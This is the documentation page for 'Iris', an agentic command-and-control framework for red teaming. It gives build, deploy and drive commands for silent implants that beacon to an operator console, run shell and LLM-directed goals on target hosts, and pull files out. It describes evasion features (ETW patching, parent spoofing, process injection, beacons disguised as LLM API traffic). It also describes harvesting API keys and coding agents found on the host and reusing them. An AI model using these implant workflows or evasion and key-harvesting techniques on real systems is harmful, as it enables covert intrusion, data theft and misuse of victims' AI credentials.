Irisdocs v1.0.0 ChangelogREADMEGitHubDocs site

What is Iris?

Agentic C2 for red teaming (supposed to be lightweight) — the agent loop runs on the target. Your prompt becomes a live tool-loop on the host; the console steers, caps, and stops. Six binaries from one Go codebase, zero runtime requirements on the target, zero disk writes on Windows upgrades. Every Web UI action has a CLI verb and an HTTP endpoint.

Disclaimer — a 100% vibe-coded project (every line written by agentic AI) built to learn how agentic AI works; for authorized pentest / red / purple team exercises only. The authors take no responsibility for misuse or unauthorized activities. Inspired in part by AGENTIC C2 FRAMEWORK TOOL (ECHOTRIBBLE) (CFIC / ARCYBER / ArCTIC assessment event). Credits: coding models OrcaSAQ-2-Cyber-27B-Uncensored (OrcaRouter) and Qwen3.8-Flash-Next-Gyro-abliterated (huihui-ai / AgentionAI) on the DeepSeek Harness; vendored Go deps, Velociraptor / osquery bridges, and community BOF imports credited in the README. MIT.

Frankenstein clip shouting: OH, IT'S ALIVE! IT'S ALIVE! IT'S ALIVE!

Capabilities

  • LLM-driven autonomy on the host. A natural-language goal becomes a tool loop inside the implant: shell, file pull/push, compile on target, LOLBin templates, process injection, COFF BOFs in memory, lateral-auth probes, MCP web search, markdown skills (pushed at runtime, writable back via skill_save), per-agent memory. Autonomous or supervised; step budgets; live transcript; STOP mid-goal.
  • The host's own AI joins the loop. llmscan inventories local model servers, credentialed coding agents, running IDEs, vendor keys on disk; delegate uses any of them as a sub-agent while the loop's model stays operator-routed. A burned implant holds no console secret.
  • Stealth posture — cross-built from any host; per-build canary, parent spoofing, ETW suppression, XOR strings, direct syscalls on Linux, module-path randomization, sandbox auto-detection, watchdog restart; a one-shot stager reflective-jumps or remote-injects; persistence is a runtime toggle. The beacon is an OpenAI-shaped URL over an ECIES envelope, with malleable profiles (default, saas-poll, cdn-prefetch, ws-message, custom templates) — so passive traffic reads as calls to an LLM API.
  • Upgrades that never touch the disk. Reflective load + re-exec, no staged file; --write-file persists under the same filename (rename-aside when siblings lock the base). Unix/macOS upgrade atomically in place.
  • Modules — reflective COFF/BOF on Windows (in-process), relocatable ELF (ET_REL) in-process on Unix; Sliver/Cobalt extension.json sidecars auto-attach. A first-party catalog (recon, scan, local, creds, evidence, lateral, AD corpus) reports structured facts — the LLM reasons, the modules verify — and it implements the protocols itself rather than spawning children: SMB2, RPC/DCOM WMI, HTTP+NTLMv2 ADCS, SAM/SYSTEM hive reads. No cmd.exe/wmic.exe on the host; plain ELF executables and Mach-O, which we cannot load in process, run as a child. Capabilities extend mid-engagement: module bytes, skills, and MCP servers are pushed — no rebuild, no re-deploy.
  • Every channel — HTTPS primary with DNS TXT and ICMP failover, plus a WireGuard tunnel where each agent's WG peer is its mTLS cert; channels self-heal when the console comes back.
  • Pivoting that works with your tools — SOCKS5 (TCP + UDP relay) at a pivot agent: nmap, Burp, proxychains, RDP; multi-hop through gateways; Windows named-pipe pivots for hosts with no network egress.
  • Mission roles — red / blue (sensor: detection active, execution read-only) / dual, flipped at runtime or baked with --role. A blue sensor emits deterministic deviation detections — typed observed-versus-baseline diffs of processes, listeners, outbound destinations, watched files, and registry keys, each citing both sides; no ML, no opaque score. Velociraptor and osqueryi are deployed to the agent through the beacon itself, and their results land in the same console.
  • Agents talk to each other — console-relayed messaging injected into the receiver's LLM context; contact sets auto-learn; a blue sensor hands deep-dive actions to a red agent.
  • A real operator console — SSE fleet table, per-agent Workbench, live shell (ConPTY / PTY, UI or console pty), chunked file exfil, goal scheduling, kill switch, recon graph from module output, console-as-CA PKI, audit trail, Messages.
  • Trust, enforced — per-agent ed25519 identity, mTLS with revocation that drops the WG route too, strict enrollment, replay guard, IP allow list, blocklist; named operators (viewer/blue/red/admin) with RBAC at one seam and an append-only, trigger-enforced audit trail.
console
The Iris console — one page, everything live.

Quick start

First run = plain HTTP, no certificates. Every hardening flag is optional — see "Optional hardening" below.

0 — Build (needs a Go toolchain on the console host only):

./build.sh                                    # dist/ for linux, windows, darwin

1 — Start the console. The public port carries ONLY the agent surface; the operator surface stays on loopback behind a login. The LLM flags are what make it agentic — point them at any OpenAI-compatible endpoint, hosted or a local llama.cpp box:

./dist/iris-console serve --home ~/iris-runtime \
  --console 127.0.0.1:3080 --beacon 0.0.0.0:8080 --operator-auth \
  --llm-url https://<your-openai-compatible-endpoint>/v1 --llm-key <key>

--config console.json moves that launch into a JSON file whose keys are flag names (command-line flags still win); --check prints the resolved launch without binding anything.

--version (or -V) prints the build identity — version, toolchain, target — and exits. The Web UI banner badge carries the same version number, so a report can name the build it came from.

  • --console — Web UI + operator API. Operators only — with --beacon set agents never dial it (a beacon POST here is a bare 404). Bind 0.0.0.0 (or a LAN IP) only when operators come from other hosts.
  • --beacon — the ONLY port agents dial: beacon, /healthz, /data payload downloads; everything else a bare 404, so a scanner sees no operator controls.
  • --operator-auth — the Web UI + /api/* require a named-operator login (roles viewer/blue/red/admin). The sign-in page cannot create the first account — step 2 seeds it from the CLI.
  • --home owns all console data — SQLite state, pulled files, graph, modules, skills, payload all derive from it. Modules and skills folders are reconciled live: drop files in, they are picked up without a restart.
  • --llm-url (+ --llm-key) — the console's default LLM. Agents with no LLM of their own converge on it over the beacon, so a baked implant needs no LLM argument and never holds the key. Later alternatives: add endpoints from the UI's LLM registry or with console llm-default, or use the host's own models (llmscan finds them, delegate runs work through them) — those stay agent-side.

2 — Create the first operator. The sign-in page cannot bootstrap an account, so seed it against the state DB the console just created. --db edits that file directly, which is what you want here — there is no login to authenticate an API call yet — and the console reads accounts from the database on every login, so the new account works immediately while the server is running:

./dist/iris-console operator add admin --role admin --password <pw> \
  --db ~/iris-runtime/iris-state.db

Open http://127.0.0.1:3080 and sign in with that name + password. More accounts (roles viewer / blue / red / admin): same command.

3 — Bake an implant (portable, zero runtime arguments; the builder compiles from this tree). Bake the console's agent-facing port — the address every target can reach:

C2_URL=http://<console-ip>:8080 ./implant.sh

That builds payload/implant.exe, implant_linux, implant_mac. Copy the matching one to the target and just run it — no arguments, and by design it prints nothing (bake with DEBUG=1 only when you want to watch its beacon log). The agent shows up in Fleet (you are already signed in from step 2).

Want the whole loop on one machine first? One line (loopback is fine here because the implant runs on the console host):

C2_URL=http://127.0.0.1:8080 DEBUG=1 ./implant.sh && ./payload/implant_linux &

4 — Drive it.

./dist/iris-console shell <agent> "whoami"        # direct shell (no LLM needed)
./dist/iris-console send <agent> "find the AD domain admins"   # LLM goal
./dist/iris-console pty <agent>                   # live interactive shell

Every Web UI action has a CLI verb and an HTTP endpoint — scripted operators and UI operators see the same system.

send needs an LLM: with no endpoint configured the goal ends immediately with no model answered at step 1. shell and pty work regardless.

Open the UI and drive it from the dock (Agents → Send Goal → Goals → Shell → Files → Blue Workspace → Graph → Modules → Skills → Tune → Global → Transport → Audit → Operators). Transport holds both halves of the mTLS story: the WireGuard tunnel and the certificate authority.

Optional hardening

These layer in whenever you want:

  • --strict — first-seen agents land PENDING until approved in Fleet.
  • --cert (or --cert/--certkey) — TLS on both listeners without a PKI: server-auth HTTPS, client cert optional (identity stays the per-agent ed25519 signature). The beacon port sniffs, so https:// agents and proxy-routed plain HTTP share one port. A combined bundle works alone: --cert server.bundle.pem.
  • --mtls — TLS on the beacon channel, console acts as its own CA and REQUIRES a verified client cert (cert = credential; revocation drops the WG route too). Per agent: console certs issue <name> --out bundle.pem, bake with --cert bundle.pem. The bundle carries the console CA, so https://127.0.0.1:<beacon-port> verifies with no extra flag (server certs ship localhost + 127.0.0.1/::1 SANs); LAN IPs / hostnames need --mtls-san <host[,ip]> at PKI init. No bundle: INSECURE=1 ./implant.sh.

Binaries & build

BinarySourceWhat it is
iris./unified agent + console in one binary
iris-agentcmd/iris-agentagent-only build (operator-run, takes flags at runtime)
iris-consolecmd/consoleconsole-only build (server + Web UI + CLI verbs)
iris-implant-buildercmd/implant-buildercross-compiles config-baked portable implants
iris-stager-buildercmd/stager-builderone-shot stager: downloads the implant, reflective load + jump — or remote process inject
iris-lite-buildercmd/lite-builderbuilds the tiny C core implant (Windows)
./build.sh                                   # all platforms → dist/<goos>-<arch>/
./build.sh --platforms linux-amd64,windows-amd64
./build.sh --test                            # gate first (build+vet+gofmt+test)
./build.sh --clean                           # wipe dist/ before building

build.sh and implant.sh locate the toolchain the same way: $GO if set, then go on $PATH, then the usual install locations (/usr/local/go/bin, homebrew, ~/go/bin, ~/sdk/*/bin) — nothing assumes a specific machine. If none is found they say so and exit; install Go 1.27+ or pass GO=/path/to/go.

C2_URL=https://c2.yourdomain.com ./implant.sh   # example bakes: windows (+stealth), linux, macos

All Go dependencies are vendored under third_party/ with local replace directives — the build is fully offline. The builder cross-compiles from any host: Windows/Linux/macOS targets from one machine, --target-os/--target-arch.

Console internals — flags & endpoints

iris-console is the server side in one binary: the beacon listener agents dial into, the HTTP API every client rides (the Web UI, the CLI, and the REPL are all just clients of it), and the operator Web UI. One process serves all of it — you start it with serve, and every other CLI verb is a remote call into this same server.

A production console needs four flags — where to bind, where its data lives, what to serve to agents, and how operators authenticate:

iris console serve \
  --console 127.0.0.1:3080 --beacon 0.0.0.0:8080 \
  --home ~/iris-runtime --payload ~/payload \
  --operator-auth --strict --mtls

serve

Full flag reference, grouped by what each flag actually controls:

Surfaces & TLS — who reaches what. --console is the operator surface (keep it internal); --beacon is the public agent-facing listener agents dial:

FlagDefaultMeaning
--console127.0.0.1:3080operator surface: Web UI + operator API. With --beacon set it serves NO beacon (bare 404) — agents dial --beacon only. Keep the default — the operator surface should NOT be network-exposed; bind 0.0.0.0 only when operators connect from other hosts
--beacon—the ONLY agent-facing surface when set (POST /v1/chat/completions, /healthz, /data) exposed to the internet; the operator surface stays internal. Protocol by flag: no cert → plain HTTP only; --cert/--certkey → TLS (client cert optional) + plain HTTP sniffed on the same port; --mtls → TLS requires a verified client cert + plain HTTP for proxy-routed agents. --addr / --ext-addr are accepted as deprecated aliases of --console / --beacon (renamed 0.12.4)
--cert / --certkey—server TLS certificate + key (HTTPS on both listeners). A combined cert+key bundle works as --cert bundle.pem alone; a split pair needs both flags; --certkey without --cert warns and serves without TLS. Half-pair load failures abort with the reason. Peer-side handshake rejections (browser refusing a self-signed cert, https probe with no client cert, early close) are summarized every 50, not logged per line. On --beacon the port sniffs: TLS ClientHello → HTTPS, anything else → plain HTTP, so direct https:// agents and proxy-routed HTTP share one port. Without --mtls a client cert is NOT required — beacon identity stays the ed25519 envelope signature. With --mtls and no cert files the console mints its own
--payload—serve a folder publicly at /data on the beacon-only listener (implants, VR/osquery binaries, upgrade URLs)
--addr—deprecated alias of --console
--ext-addr—deprecated alias of --beacon

Agent authentication — how beacons prove identity and what they must pass before any work runs:

FlagDefaultMeaning
--mtlsoffconsole-as-CA: beacons require the agent's client cert; revocation drops the peer + WG route
--mtls-sanlocalhostServer-cert SANs for --mtls — the hostnames agents dial. Set it to the name in the beacon URL or certificate verification fails
--strictofffirst-seen agents land PENDING; their work is held until approved
--key-mismatchoffa beacon whose signature fails is flagged for approve/deny instead of rejected (key rotation)
--ip-allowlist / --ip-allowlist-file—restrict beaconing source IPs (IP / CIDR / a-b range / a.b.c.* per line); others get 403
--beacon-ts-window15mallowed envelope timestamp drift (replay guard)
--beacon-replayonreplay guard: the envelope timestamp must sit inside --beacon-ts-window, and an (agent, nonce) pair seen once is rejected when it reappears, so a captured beacon body cannot be resent. --beacon-replay=false turns both checks off
--no-eciesoffdisable ECIES beacon encryption: the beacon stays plaintext for every agent (the console generates no X25519 keypair, agents send none)

Operator authentication — the human side of the wall:

FlagDefaultMeaning
--operator-authoffgate the operator surface behind named-operator login (roles below; sessions with absolute+idle expiry)
--disable-legacy-passwordoffturn off the legacy shared-password path (X-Password / Authorization: Bearer header + password-only login); named operators become the only credentials — create an admin first. The shared-password login stays open until the console has an active named operator, so a bootstrapped password can still sign in (and create that first account); it closes the moment one exists

serve has no --key flag — the shared beacon key was retired in 0.11.5: agent auth is the per-agent ed25519 signature or the mTLS cert.

Channels — the paths a beacon can take (HTTPS is primary; the rest are failover or pivoting infrastructure):

FlagDefaultMeaning
--dns / --zone—DNS TXT side-channel server (host:port, zone iris.local)
--icmpoffICMP echo side channel (needs root / CAP_NET_RAW)
--wg-listeneroffWireGuard listener host:port; empty = implied from --wg-advertise. Requires PKI (--mtls)
--wg-advertise—public WG endpoint advertised to agents on every beacon (bake --wg-addr auto to follow it without rebuilds)
--socks-portoffSOCKS5 pivot proxy; also starts the UDP relay (port+1) and named-pipe proxy (port+2)
--socks-agent—pin SOCKS routing to one pivot agent at startup
--beacon-pathpersistedthe beacon URL path served + pushed to agents; the defaults stay served so agents always re-converge. Changeable live: UI box or console beacon-path [path]
--wg-port—deprecated alias of --wg-listener

Console data — one --home root, or explicit slots:

FlagDefaultMeaning
--home—root for all console-owned data: state DB, files/, graph, modules/, skills/, payload/; explicit folder flags override per slot
--dbderivedSQLite state database; db verify · export · backup · stats verbs operate on it
--stateiris-state.jsonlegacy JSON state path (imported once into SQLite beside it; SQLite is authoritative)
--runtime-dir—directory for pulled files + graph export
--skills-folder—serve skill .md packs to agents
--modules-folder—persist the COFF/BOF module library (survives restarts, reconciled live — folder edits are picked up without a restart); a modules.json manifest declares type + description
--anom-retention0days to keep detection-feed entries (0 = keep forever)
--config—JSON launch file: keys are serve flag names, repeatable, later files win, a command-line flag always beats the file. Full contract: launch config file
--checkoffvalidate --config and print the resolved launch settings (explicit values marked, secrets masked), then exit without binding anything

Defaults pushed to agents — things the console hands down at beacon time, all changeable at runtime without restart:

FlagDefaultMeaning
--global / --global-file—standing instruction every agent's goals must follow
--startup / --startup-file—one-on-launch instruction queued once for every new agent (agent-baked --startup-goal overrides)
--llm-url / --llm-key / --llm-model—console default LLM: agents without their own are proxied through it (the key never leaves the console)
--goal-cap N200goal-history display cap (export stays uncapped); runtime-tunable
--alert-webhook—POST every new high/known_bad anomaly as JSON (deduped 10 min per key)
--vr-url/data/velociraptor.exeVelociraptor client deploy URL handed to agents on deploy. A /-path resolves against the beacon base (the --payload folder); an absolute http(s) URL is used as given
--osq-url/data/osqueryi.exeosquery client deploy URL — same resolution rules

Launch config file

serve --config <file> reads a flat JSON object whose keys are serve flag names and nothing else. The file is translated into flag arguments and applied before the command line, so precedence is:

defaults  <  --config (earlier file)  <  --config (later file)  <  command-line flags
{
  "console": "127.0.0.1:3080",
  "beacon": "0.0.0.0:8080",
  "operator-auth": true,
  "strict": true,
  "mtls": true,
  "payload": "~/payload",
  "home": "~/iris-runtime",
  "llm-url": "https://llm.example.com/v1",
  "llm-key": "sk-...",
  "socks-port": "0.0.0.0:5555",
  "wg-advertise": "203.0.113.7:51821",
  "beacon-replay": false
}
$ iris console serve --config console.json            # repeatable: base + override
$ iris console serve --config console.json --check    # print the resolved launch, bind nothing
$ iris console serve --config console.json --console 127.0.0.1:3181   # CLI wins
  • Keys are flag names, verbatim — no aliases, no nesting. Unknown keys fail with a suggestion (unknown setting "mtls-san2" (did you mean "mtls-san"?)), so a key that would do nothing never slips through.
  • Deprecated flag names are refused (addr, ext-addr, wg-port): the error names the canonical key, so a retired spelling can't get baked into a launch file.
  • Values match the flag's own type — booleans true/false (an explicit false switches a default-on flag off), numbers for caps, duration strings like "15m", and a list becomes the flag's comma form ("ip-allowlist": ["1.1.1.1", "10.0.0.0/8"]). A bad value fails naming the file and the key, before anything binds.
  • ~/ expands in config values (path flags); command-line paths are unchanged. Values are otherwise literal — no shell or variable expansion.
  • Secrets stay values, not variables — keep the file 0600; --check masks key/password/token values (llm-key = ••••) so the resolved launch can be reviewed without printing the credential.
  • The startup log names the file: config: console.json — 12 settings applied, above the listener lines.

Surfaces

SurfaceListens onWhat
Operator--consoleWeb UI, /api/*, sessions, PTY, audit
Beacon--beacon (or --console if unset)beacon POST, /healthz, /data payload

Operators & roles

iris-console operator add <name> --role viewer|blue|red|admin [--password pw]
iris-console operator list | disable <name> | enable <name> | delete <name> | passwd <name>
iris-console operator add <name> --role admin --password <pw> --db <state.db>   # direct file edit

Every verb goes through the running console's API when one answers (audited, needs a login). An explicit --db overrides that and edits the database file directly — the bootstrap path, where no credential exists yet to authenticate an API call. The console looks operators up in the database per login, so a direct edit is live immediately.

RoleCan
viewerread everything, mutate nothing
blueBlue Workspace IR only: Velociraptor / osquery runs, IOC sets, probes, anomaly dispositions, messages — no goals, no shell, no red actions
redfull operator: goals, shell, modules, pivoting, kills
admineverything above + operators, certs / PKI, registry-wide settings, llm-block containment

With no password set, the first PASSWORD-ONLY login (CLI/API legacy path, admin) bootstraps the shared password — the UI sign-in form always requires a name, so the first UI account comes from console operator add. Every mutation and every denial lands in the audit trail with the actor name.

Mission roles (red · blue · dual)

Every agent carries a mission role — flip it at runtime, no redeploy:

RolePosture
red (default)attack agent: action tools (shell writes, modules, spawn, lateral, kills) run freely
bluesensor agent: detection subsystems active (baseline, IOC convergence, anomaly feed, Velociraptor / osquery) and goal execution is read-only — action tools refuse with an explicit reason
dualboth: acts on offense while the sensor side reports to Blue Workspace
  • Flip: UI (Fleet row / Workbench chip) or console role <agent|--all> red|blue|dual — rides the CONFIG push, applies on the agent's next beacon; the badge then shows the APPLIED role. Rapid flips are last-write-wins (superseded pushes don't replay through the agent).
  • Bake: implant-builder --role red|blue|dual sets it at build time.
  • Capability gate: blue/dual need a sensor-capable payload (0.11+); the console refuses the flip on older implants instead of pretending.
  • Upgrades re-HELLO with the baked role — if you flipped an agent at runtime, re-apply console role after upgrading it.
  • Blue Workspace only tracks agents with a sensor role (blue/dual); operator RBAC role blue is a person permission (hunt / IOC / probe / disposition actions), unrelated to agent roles.

Certificates (console-as-CA)

iris console certs init --san c2.example.com,203.0.113.5   # CA + server cert
iris console certs issue <name> --days 365 --out bundle.pem  # per-agent client cert
iris console certs list | show <id> | revoke <id> | remove <id>
iris console certs revoke-all | remove-all | ca   # fleet-wide resets

The issued bundle is one PEM (cert chain + key + an IRIS WG PRIVATE KEY block). The cert itself carries the agent's WireGuard public key in a custom extension — baked implants and WG peers read their WG identity from the cert; enrollment is peer provisioning. An agent may beacon without a cert under signature auth.

Enrolling agents

  • Default: first-seen agents auto-approve (trust-on-first-use); their ed25519 key is pinned at HELLO — compromise one agent, not the fleet.
  • --strict: first-seen agents land PENDING (amber badge) until you click ✓ approve / ✗ deny (console API twin: POST /api/agents/approve|deny).
  • Key rotation: --key-mismatch flags a beacon whose signature fails; approve adopts the new key, deny keeps the old one.
  • Blocklist: beacons from a blocklisted agent get 403 until un-blocklisted; survives restarts (console blocklist <agent>).
  • IP allow list: reject beaconing from IPs outside the list (runtime-editable, UI or console ip-allowlist).

Verb inventory

The full verb inventory and the interactive REPL live on their own page: CLI verbs &amp; REPL — full inventory. Every Web UI action has a CLI twin; one login serves all verbs, and flags may appear before or after positionals on every verb.

HTTP API

Operator endpoints sit under /api/* (named-operator session or legacy X-Password header); agent endpoints sit on the beacon surface. Full route inventory (the console’s RBAC policy table — exact, prefix, and suffix rules):

AreaRoutes
FleetGET /api/agents · POST /api/agents/approve · deny · hide · new · new-flag · import · kill · role · stealth · boost · persist · unpersist · blocklist · unblocklist · DELETE /api/agents/<id> (soft-remove) · POST /api/agents/<id>/recon · sysprompt · upgrade · inject · modules/run · GET /api/agents/<id>/contacts · POST /api/revoke-key
Goals & shellGET /api/goals (?full=1 uncapped export · &shell=1 shell history) · GET /api/goals/<id> (full transcript) · POST /api/goals · POST /api/goals/<id>/decision · POST /api/goals/import · DELETE /api/goals/<id> · POST /api/cancel · POST /api/clear · GET/POST /api/schedule · DELETE /api/schedule/<id> · GET /api/goal-cap · GET/POST /api/default-mode · POST /api/pty/start · in · resize · end · transcript · GET /api/pty/status · out · console-side PTY: POST /api/pty/console/start · in · resize · end · GET /api/pty/console/out
ConfigPOST /api/config (LLM/MCP/skills push + tuning dials) · GET/POST /api/global · startup · beacon-path · secondary-console · c2-profile · agents-hide · key-mismatch · allowlist · DELETE /api/allowlist/<id> · GET/POST /api/ip-allowlist · GET/POST /api/deploy-urls (Velociraptor / osquery sources) · GET/POST /api/llm-default · llm-block · GET /api/llm/endpoints · DELETE /api/llm/endpoints/<id> · GET /api/llm/models · POST /api/llm/fetch-models
FilesGET /api/files/list · GET /api/files/download/<id> · POST /api/files (push) · POST /api/push (agent-side upload alias) · DELETE /api/files/<id> · pulled files at GET /files/<id> · payload at GET /data/<id>
Blue WorkspaceGET /api/anomalies · POST /api/anomalies/disposition · capture · GET /api/artifacts · GET/POST /api/iocs · POST /api/iocs/bump · remove · GET /api/hunts · POST /api/hunts/delete · edit · restore · GET /api/probes · POST /api/probes/delete · edit · restore · POST /api/agents/vr/deploy · run · POST /api/agents/osq/deploy · run · GET /api/agents/<id>/baseline (baseline + diff) · POST /api/agents/<id>/baseline (set · clear · diff)
PivotPOST /api/pivot/enable · disable · GET /api/pivot/status · streams · listeners · POST /api/pivot/listen · unlisten · socks-agent
ModulesGET /api/modules · POST /api/modules (upload) · PUT /api/modules/<id> · DELETE /api/modules/<id> · module bytes at GET /data/modules/<id>
SkillsGET /api/skills · GET /api/skills/<name> (agent-facing fetch) · PUT /api/skills/<id> · DELETE /api/skills/<id> · GET /api/skills/pending · POST /api/skills/pending/<id> (approve/reject agent proposals)
PKIGET /api/certs · POST /api/certs/init · issue · revoke · remove · remove-all · revoke-all
WireGuardGET /api/wg (listener state + peers)
Operators & authGET /api/operators · POST /api/operators/add · disable · enable · delete · passwd · role · POST /api/login · logout · password · GET /api/me · POST /api/me/passwd (self — any role, own account)
MessagesGET/POST /api/messages · GET /api/messages/cap · DELETE /api/messages/<id>
Events/AuditGET /api/events · POST /api/events/import · GET /api/events/stream (SSE) · GET /api/stream (agent-event stream)
GraphGET /api/graph · GET /api/graph/report · POST /api/graph/reset
StatusGET /api/status · GET /healthz (beacon surface) · GET /workbench/<id> (per-agent page)
Agent surfacePOST /b + POST /v1/chat/completions (beacon; ECIES envelope) · POST /llm/<id> (LLM proxy) · GET /data/<id> (payloads) · GET /pivot/channel, /iris.PTY/Channel (pivot + PTY channels) · GET /pivot/poll, POST /pivot/send (long-poll pivot transport — the fallback for an implant whose WebSocket upgrade cannot get through its egress path; same frame dispatch as the WS channel, authenticated by client cert or X-Pivot-Agent, held 25 s when idle) · GET /pty + /pty/xterm.js · addon-fit.js · xterm.css (PTY window)

Goal requests (POST /api/goals)

One body, several kinds of work. Targets: agent (one id), agents (exact list), broadcast (every registered agent) — normalized server-side, so a dirty id never reaches the registry.

FieldWork it describesMeaning
agent / agents / broadcasttargetone id · exact list · every registered agent
goalLLM goalfree-text objective — the agent runs the think → act → observe loop
cmdshell directiveone line, no LLM. The row tags model=shell and exports/purges separately
interpshell directiveforce the interpreter: powershell | cmd (empty = platform default)
cmd_timeout_sshell directiveper-command timeout
tool + tool_argsdirect toolone executor tool, no LLM — args exactly as the registry defines them (§Tools)
file_pathfile pullthe agent reads that file and sends it over the data channel (goal text pull file: …)
max_stepsLLM goalper-goal loop cap (0 = the agent's global --max-steps)
llmLLM goalper-goal routing: empty · local · remote · a model id
modeLLM goalautonomous (default) · supervised (pauses on each plan for plan <id> approve|reject)

Attribution (actor) is set server-side from the authenticated operator — a client-supplied actor is ignored. Velociraptor and osquery goals are queued by their own endpoints and carry the artifact name on the stored goal, not in this body. POST /api/goals/<id>/decision answers a supervised plan; GET /api/goals/<id> returns the full transcript.

POST /api/schedule takes the same payload plus run_at, so a scheduled goal is indistinguishable from a hand-sent one once it fires.

Live shell

  • Web UI: the Pty icon on an agent row (or Workbench Pty) opens a full interactive terminal — Windows ConPTY on the implant side.
  • CLI: console pty <agent> [cmd...]; ^]q quits and kills the session.
  • Save transcripts: UI "Save transcript" or POST /api/pty/transcript.

Blue Workspace (defensive side)

  • Baseline — per-agent golden snapshot (processes, services, persistence, listening ports); drift shows as findings on every beacon.
  • IOC catalogs — curated artifact sets (Velociraptor .tara catalogs, e.g. GenericDetection.tara): pick a catalog, Run per agent, results show rows / IOC hits / age.
  • Deploy-clicks — Velociraptor and osquery deploy through an implant (download → stage → launch → register): UI buttons or POST /api/agents/vr/deploy / …/osq/deploy. Workflow guides: GUIDE-velociraptor-deploy.md, GUIDE-osquery-deploy.md.
  • Anomaly engine — behavioral checks on beacon metadata (egress drift, protocol switches, cadence breaks) surface as detections with the evidence line; dispositions are operator-set and --alert-webhook fires on new high/known_bad hits.
  • Containment — the Fleet row's LLM-proxy toggle (admin) 403s an agent's remote LLM calls; blocklist (red) rejects its beacons; kill ends it. Blue escalates instead: ESC opens a prefilled goal auto-targeted at a red/dual agent on the same host.
  • Playbook library — named goal templates for blue / dual sensors (40 max, goal text ≤ 4000 chars): add, edit, delete via POST /api/hunts, /api/hunts/edit, /api/hunts/delete, /api/hunts/restore (blue role). A playbook dispatches as an ordinary goal to the selected sensor(s); the blue dispatch surface itself stays read-only by charter, so playbooks are the written-down investigations, not a second dispatch channel.
  • FP suppression allowlist — dispositioning a detection as a false positive writes a suppression key (category|artifact|ioc) scoped to one agent or the whole fleet, with the operator's note attached. Later matching sightings are never stored. DELETE /api/allowlist/<id> re-arms the key: future sightings record again, but suppressed ones are already gone.
  • Operator IOC set — an operator-fed indicator array (proc, ip, hash, path, registry, domain, string, yara) with a version number that sensors converge on. POST /api/iocs/bump raises the version with no content change, which re-arms every sensor's disk-sweep cursor — the fleet re-sweep in one request.

Files & exfil

  • Pull: Workbench file explorer or console file <agent> <path> — chunked, reassembled across channel failover; console files lists, download fetches locally.
  • Push: console push <agent> <file> <dir> (≈4 MiB per file); UI Push in the explorer.
  • exfil (goal tool) streams large files through the same pipeline — one record per transfer, reassembled intact.
  • Payload folder (--payload) serves implant/BOF downloads at /data.

Backup & restore

The whole console state is one SQLite file (--home/iris-state.db, mode 0600, WAL): copy it while running or use

iris-console db backup <dest>     # consistent snapshot
iris-console db verify            # integrity
iris-console db export <file>     # JSON dump
iris-console db stats

Restore = stop the console, put the file back, start.

Troubleshooting

The quick sheet is in USER-GUIDE.md (§9). The usual three: agent not beaming (check --beacon TLS / beacon path / IP allowlist), LLM errors (the agent shows the backend reply; check --llm-url proxy or the agent's own endpoint), stale upgrade URL (CDN caches /data — append ?v=N).

The implant (agent)

Run

A baked implant takes zero arguments — its build carries everything. The operator-run iris-agent binary takes the same flags at runtime:

FlagDefaultMeaning
--urlhttp://127.0.0.1:3080console base URL
--idstable per host (hostname-<hash8>)agent id; same id every relaunch
--peer Noffrun a sibling agent of the same build on this host (<host-id>-N)
--poll20long-poll seconds per beacon (max 30)
--onceoffsingle beacon then exit (smoke test)
--insecureoffskip TLS verification
--note—note included in HELLO
--debugoffprint operational logs (a running implant is silent otherwise)
--llm-url / --llm-model / --llm-keyenv IRIS_LLM_*OpenAI-compatible backend (flags beat env)
--llm-ctx0context window requested from local models
--llm-timeout300per-step LLM timeout
--model—pin one model from the pool
--probes—extra host:port LLM probes
--max-steps40tool-loop steps per goal
--mcp-url / --mcp-name / --mcp-key—extra MCP server (built-in: Firecrawl web search; --no-default-mcp to drop)
--memory-fileoffpersist local memory to a randomized temp file (survives restart)
--mem-max32local-memory record cap
--sysprompt—custom system-prompt .md (contents baked at build time)
--modefieldfield (stealth-aware, self-heal policies) or lab (verbose, test bench); a sandboxed host auto-downgrades field to lab-like
--stealthautoauto (detect EDR/sandbox) · on · off
--fp-probesoffextra fingerprint probes (service table, ver, WMI RAM, egress echo)
--parent-spoofshellspawner mode for every spawned action
--canaryiris-canary-v1content-shift token (changes the file hash; never read at runtime)
--identity—process-name spoof at startup (Linux/macOS; Windows uses the file name)
--etwoffETW suppression (Windows; patches EtwEventWrite)
--packoffrandomize the Go module path (removes iris/… symbol strings)
--dns-addr / --zone / --icmp-host / --channels—side-channel config + primary route and fallback order (wg,https = tunnel preferred once armed; https,wg = HTTPS preferred, tunnel as fallback)
--beacon-pathpersistedconverge on the console's beacon path
--startup-goal / --startup-steps—once-on-launch goal + step cap
--hunt-budget2000files hashed per detection cycle by the IOC disk sweep (<=0 = default)
--hunt-maxfile32 MBper-file size cap for that sweep (<=0 = default)
--pivotoffoffer this agent as a pivot relay — the console enables relays live, so this only seeds it
--pty-tiersws,grpclive-shell transport tier order, tried in sequence
--no-pty-grpcoffdrop the grpc tier from that ladder (websocket-only live shell)
--no-host-agentsoffdisable host AI-agent handoff (scanning local coding agents and delegating to them)
--no-harvest-llmoffdisable remote LLMs built from harvested vendor API keys

An implant cut off from the console does not exit — it retries its HELLO on the beacon cadence and registers the moment the console is reachable.

Tools (the executor registry)

26 tools. The LLM calls them inside a goal loop; an operator can call any of them directly with tool — same tools, same args, no LLM.

A name the registry does not know is not an instant error: a host program of that name runs as a LOLBin, then a configured MCP server's tool of that name is proxied, and only then the agent answers unknown tool "x" (available: …). That reply is the live inventory.

ToolArgsWhat it does
runcmd (alias command; a bare args list is read as a command)one shell line or argv — pipes, globs, redirects work
spawnpeer (integer ≥ 1)detached sibling implant of this build, id <base>-<peer>
lolbinname plus that program's argsshaped living-off-the-land templates; plain names run as themselves
readpath, optional offset, limitfile read
writepath, content, optional appendfile write (TEMP-resolved name by default)
listpath / dirdirectory listing
buildsrccompile C/C++ with the host toolchain
net—interfaces and listening sockets, read natively (no child process)
env—environment and host facts
waitms (default 1000, capped)sleep inside a goal
mcpserver, tool, argscall a registered MCP server
skillnameload a skill pack
skill_savename, content, reasonstore a skill pack
memoryop: list (default) | show + seq | clearthe agent's own recollection of past goals
messageto, textcross-agent message (queued by the console, injected on the next beacon)
exfilpathlarge file out to the console, reassembled
injecttarget (process name or PID), url, modereflective DLL load into a live process (Windows build only)
recontier: light (default, local facts) | full (adds domain queries)spawn-free host facts
scanaction: portscan (host) | dnsenum (domain) | webfinger (url) | hostdiscover (range) | smbenum (host)network recon against a target
localaction: token | privesc | persistenceprivilege and persistence state of the implant's own host
